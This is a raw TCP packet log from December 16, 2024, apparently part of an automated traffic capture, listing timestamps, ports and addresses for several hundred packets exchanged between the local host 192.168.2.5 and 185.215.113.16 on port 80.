Dec 16, 2024 15:25:36.031039953 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.031054974 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.031754971 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.031837940 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.031857967 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.031918049 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.031918049 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.031929970 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.032623053 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.032685995 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.032701015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.032716990 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.032778025 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.032788038 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.033590078 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.033667088 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.033683062 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.033720970 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.033751965 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.033756018 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.034519911 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.034575939 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.034652948 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.034727097 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.034770012 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.034930944 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.035558939 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.035579920 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.035598993 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.035619020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.035623074 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.035713911 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.036349058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.036401033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.036420107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.036458969 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.036488056 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.036539078 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.037352085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.037441015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.037461042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.037516117 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.037516117 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.037662983 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.038268089 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.038291931 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.038311958 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.038331985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.038340092 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.038395882 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.039103985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.039158106 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.039180994 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.039299965 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.039343119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.039386988 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.040106058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.040129900 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.040152073 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.040194988 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.040194988 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.040371895 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.040947914 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.041054964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.041089058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.041110039 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.041130066 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.041198969 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.042188883 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.042223930 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.042258024 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.042278051 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.042299032 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.042299032 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.043059111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.043077946 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.043097973 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.043118954 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.043138981 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.043174982 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.043764114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.043785095 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.043807983 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.043828964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.043834925 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.043867111 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.044637918 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.044675112 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.044693947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.044703960 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.044735909 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.044789076 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.045511961 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.045562029 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.045581102 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.045660973 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.045742035 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.046452999 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.046540976 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.046566010 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.046622992 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.046622992 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.046680927 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.047560930 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.047581911 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.047606945 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.047629118 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.047650099 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.047650099 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.048259020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.048295975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.048316002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.048378944 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.048378944 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.294235945 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.414088964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.736082077 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.736140966 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.736205101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.736222982 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.736232996 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.736267090 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.736588955 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.736639977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.736717939 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.736896992 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.736989975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.737006903 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.737049103 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.737092972 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.737138987 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.738003969 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.789057016 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.865380049 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.865432978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.865448952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.865515947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.865541935 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.865564108 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.866029024 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.866044998 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.866144896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.866154909 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.866230965 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.866244078 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.866292000 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.866653919 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.866702080 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.866729975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.866744041 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.866772890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.866810083 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.867536068 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.867588997 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.867599010 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.867614031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.867657900 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.867685080 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.868495941 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.868581057 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.868596077 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.868617058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.868628979 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.868628979 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.869404078 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.869452000 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.869453907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.869469881 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.869523048 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.927932024 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.927994013 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.928042889 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.994904041 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.994919062 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.994935036 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.994996071 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.995053053 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.995102882 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.995287895 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.995471954 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.995512962 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.995635986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.995651960 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.995692015 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.995912075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.995995045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.996011019 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.996032953 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.996061087 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.996098042 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.996834040 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.996875048 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.996890068 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.996915102 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.996984005 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.997025013 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.997783899 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.997808933 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.997823954 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.997864008 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.997937918 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.997981071 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.998701096 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.998785973 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.998800993 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.998826027 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.998919964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.998960018 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.999722004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.999823093 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.999840021 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.999865055 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:36.999883890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:36.999923944 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.000591993 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.000607967 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.000629902 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.000649929 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.000740051 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.000778913 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.001477003 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.001492023 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.001527071 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.001620054 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.001635075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.001672983 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.002310038 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.002403975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.002418995 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.002443075 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.002464056 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.002501965 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.003326893 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.003371000 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.003386021 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.003412008 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.003473043 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.003513098 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.004154921 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.054682016 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.057405949 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.057486057 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.057547092 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.125200033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.125252962 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.125266075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.125313044 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.125598907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.125647068 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.125741959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.125792027 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.125839949 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.125878096 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.125894070 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.125910044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.125938892 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.126646996 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.126698971 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.126717091 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.126992941 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.127048016 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.127084970 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.127146006 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.127187014 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.127530098 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.127623081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.127638102 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.127652884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.127661943 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.127695084 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.128247976 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.128308058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.128323078 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.128350019 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.128376007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.128418922 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.129096985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.129219055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.129262924 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.129288912 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.129420042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.129466057 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.129934072 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.129983902 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.129998922 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.130028009 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.130112886 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.130156994 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.130909920 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.130985975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.131000996 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.131031990 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.131124020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.131170034 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.131815910 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.131908894 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.131926060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.131951094 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.132177114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.132220984 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.132682085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.132760048 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.132775068 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.132803917 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.132843971 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.132889032 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.133605003 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.133685112 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.133702040 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.133730888 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.133794069 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.133836985 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.134496927 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.134583950 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.134599924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.134632111 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.134749889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.134794950 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.135422945 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.135478973 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.135495901 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.135521889 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.135565042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.135608912 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.136368990 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.136445045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.136461020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.136488914 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.136493921 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.136538029 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.137286901 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.137340069 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.137356043 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.137389898 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.137465000 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.137526035 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.138175011 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.138235092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.138252020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.138281107 CET	49742	80	192.168.2.5	185.215.113.16
